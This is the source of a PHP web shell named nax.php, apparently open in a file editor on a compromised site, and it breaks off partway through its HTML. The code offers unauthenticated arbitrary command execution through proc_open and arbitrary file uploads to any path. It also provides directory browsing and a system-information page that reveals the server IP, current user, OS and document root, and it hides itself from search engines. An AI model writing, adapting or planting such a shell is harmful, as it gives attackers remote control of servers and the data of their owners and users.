[EDIT] FILE: nax.php
<?php $path = (isset($_GET["path"])) ? $_GET["path"] : getcwd(); $file = (isset($_GET["file"])) ? $_GET["file"] : ""; $os = php_uname('s'); $separator = ($os === 'Windows') ? "\\" : "/"; $explode = explode($separator, $path); function ekse($coman, $serlok) { $ler = "2>&1"; if (!preg_match("/" . $ler . "/i", $coman)) { $coman = $coman . " " . $ler; } $komen = $coman; $pr = "proc_open"; if (function_exists($pr)) { $tod = @$pr($komen, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $crottz, $serlok); return true; } else { return false; } } function ipserv() { if (empty($_SERVER['SERVER_ADDR'])) { return gethostbyname($_SERVER['SERVER_NAME']); if (empty(gethostbyname($_SERVER['SERVER_NAME']))) { return $_SERVER['SERVER_NAME']; } } else { return $_SERVER['SERVER_ADDR']; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="robots" content="noindex, nofollow" /> <title>~NAXC~</title> <script src="https://cdn.jsdelivr.net/npm/@tailwindcss/browser@4"></script> </head> <body class="bg-gray-300 dark:bg-gray-900 text-gray-800 dark:text-gray-200"> <?php if (!function_exists('proc_open')) { echo "<div class='bg-red-500 text-white p-4 text-center'>proc_open function is disabled!! In order to use this, proc_open must be enabled.</div>"; exit; } ?> <div class="container mx-auto p-4"> <div class="flex content-center items-center flex-col md:flex-row"> <a href="?"><img src="https://naxtarrr.netlify.app/img/Naxtarrr.png" class="h-20 w-auto mt-2"></a> <form class="md:ms-auto max-w-lg mt-4" method="post" enctype="multipart/form-data"> <input class="py-2.5 px-2 text-sm text-gray-900 border border-gray-300 rounded-lg cursor-pointer bg-gray-50 dark:text-gray-400 focus:outline-none dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400" type="file" name="nax"> <button class="text-white bg-blue-700 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm px-5 py-2.5 text-center dark:bg-blue-600 dark:hover:bg-blue-700 dark:focus:ring-blue-800 cursor-pointer" type="submit" name="submit"> Submit </button> </form> <?php if (isset($_POST["submit"])) { $filename = basename($_FILES["nax"]["name"]); $tempname = $_FILES["nax"]["tmp_name"]; $dest = $path . "/" . $filename; if (move_uploaded_file($tempname, $dest)) { echo "<script>alert('File uploaded successfully');</script>"; } else { echo "<script>alert('Failed to upload file.');</script>"; } } ?> </div> <div class="flex content-center mt-5 mb-10"> <div class="inline-block mx-auto bg-gray-50 dark:bg-gray-700 p-4 text-sm text-center text-gray-500 dark:text-gray-400 rounded-lg overflow-auto"> <?php if (isset($_GET["file"]) && !isset($_GET["path"])) { $path = dirname($_GET["file"]); } $path = str_replace("\\", "/", $path); $paths = explode("/", $path); echo 'Path: '; echo (!preg_match("/Windows/", $os)) ? "<a class='hover:text-gray-600 dark:hover:text-gray-500' id='dir' href='?path=/'>~</a>" : ""; foreach ($paths as $id => $pat) { echo "<a class='hover:text-gray-600 dark:hover:text-gray-500' href='?path="; for ($i = 0; $i <= $id; $i++) { echo $paths[$i]; if ($i != $id) { echo "/"; } } echo "'>$pat</a>/"; } ?> </div> </div> <?php if (isset($_GET["action"]) && $_GET["action"] === "infomin") { ?> <div class="bg-gray-50 dark:bg-gray-700 p-4 rounded-lg"> <h2 class="text-lg font-semibold mb-2">System Information</h2> <ul class="list-disc list-inside"> <li><strong>Server IP:</strong> <?= ipserv(); ?></li> <li><strong>Server Software:</strong> <?= $_SERVER['SERVER_SOFTWARE'] ?? 'N/A'; ?></li> <li><strong>PHP Version:</strong> <?= phpversion(); ?></li> <li><strong>Current User:</strong> <?= get_current_user(); ?></li> <li><strong>Operating System:</strong> <?= php_uname(); ?></li> <li><strong>Document Root:</strong> <?= $_SERVER['DOCUMENT_ROOT'] ?? 'N/A'; ?></li> <li><strong>Server Port:</strong> <?= $_SERVER['SERVER_PORT'] ?? 'N/A'; ?></li> <li><strong>Server Admin:</strong> <?= $_SERVER['SERVER_ADMIN'] ?? 'N/A'; ?></li> <li><strong>Loaded PHP Modules:</strong> <?= implode(", ", get_loaded_extensions()); ?></li> </ul> </div> <?php } if (isset($_GET["action"]) && $_GET["action"] === "command") { ?> <form method="post" action=""> <div class='mt-4'> <div> <label for="coman" class="block mb-2.5 text-sm font-medium text-gray-900 dark:text-white">Command:</label> <input type="text" id="coman" name="coman" class="block w-full p-2.5 text-sm text-gray-900 bg-gray-50 rounded-lg border border-gray-300 focus:ring-blue-500 focus:border-blue-500 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500" placeholder="ls -la"> <button class="block mt-3 w-full max-w-sm mx-auto text-white
SAVE
CANCEL